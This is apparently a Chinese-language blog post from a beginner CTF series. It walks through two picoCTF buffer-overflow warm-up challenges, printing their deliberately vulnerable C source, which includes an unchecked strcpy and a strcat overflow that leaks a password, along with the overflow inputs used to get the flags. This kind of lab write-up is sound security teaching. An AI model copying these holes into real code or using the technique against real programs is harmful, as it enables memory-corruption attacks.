iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 26
2
Security

我搶到旗子了!30天CTF入門系列 第 26

Day26[Binary Exploitation] Buffer Overflow

已經進入到最後一個領域了,Binary Exploitation,主要談的都是一些關於程式漏洞等等的,大部分都是C語言,一樣先來看看兩題熱身題吧~


這題是很基礎的Buffer overflow的題目,先來看看他提供的原始碼

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[16];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

這邊可以看到要觸發segmentation fault後 sigsegv_handler會幫我們把Flag印出來,再看到vuln這個函式,裡面做了一次strcpy但是他沒有做邊界檢查,所以我們可以在這邊讓他overflow,存取到不該存取的記憶體區段,造成segmentation fault,所以只要我們輸入超過16個字元以上就可能會觸發

那這邊就直接塞多一點給他看看

$ ./vuln 123456789012345678901234567890
picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}

Flag就出來囉


一樣看看他給的原始碼吧

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];
  
  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));
  
  printf("What is your name?\n");
  
  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';
  
  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

這邊可以看到再輸入帳號的時候

fgets(password_input, sizeof(password_input), stdin);

並沒有做任何邊界檢查,所以我們只要讓name和password在記憶體中是填滿的也就是他的資料都是連續的,那這樣下面做puts就會將整串印出來,所以我們輸入超過256個自原看看

這裡可以看到輸入了256個a之後,密碼就出現了

接著再重新輸入一次,就可以拿到Flag



上一篇
Day25[Cryptography] 頻率分析替換式加密(2)
下一篇
Day27[Binary Exploitation] 非法控制程式流程
系列文
我搶到旗子了!30天CTF入門30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言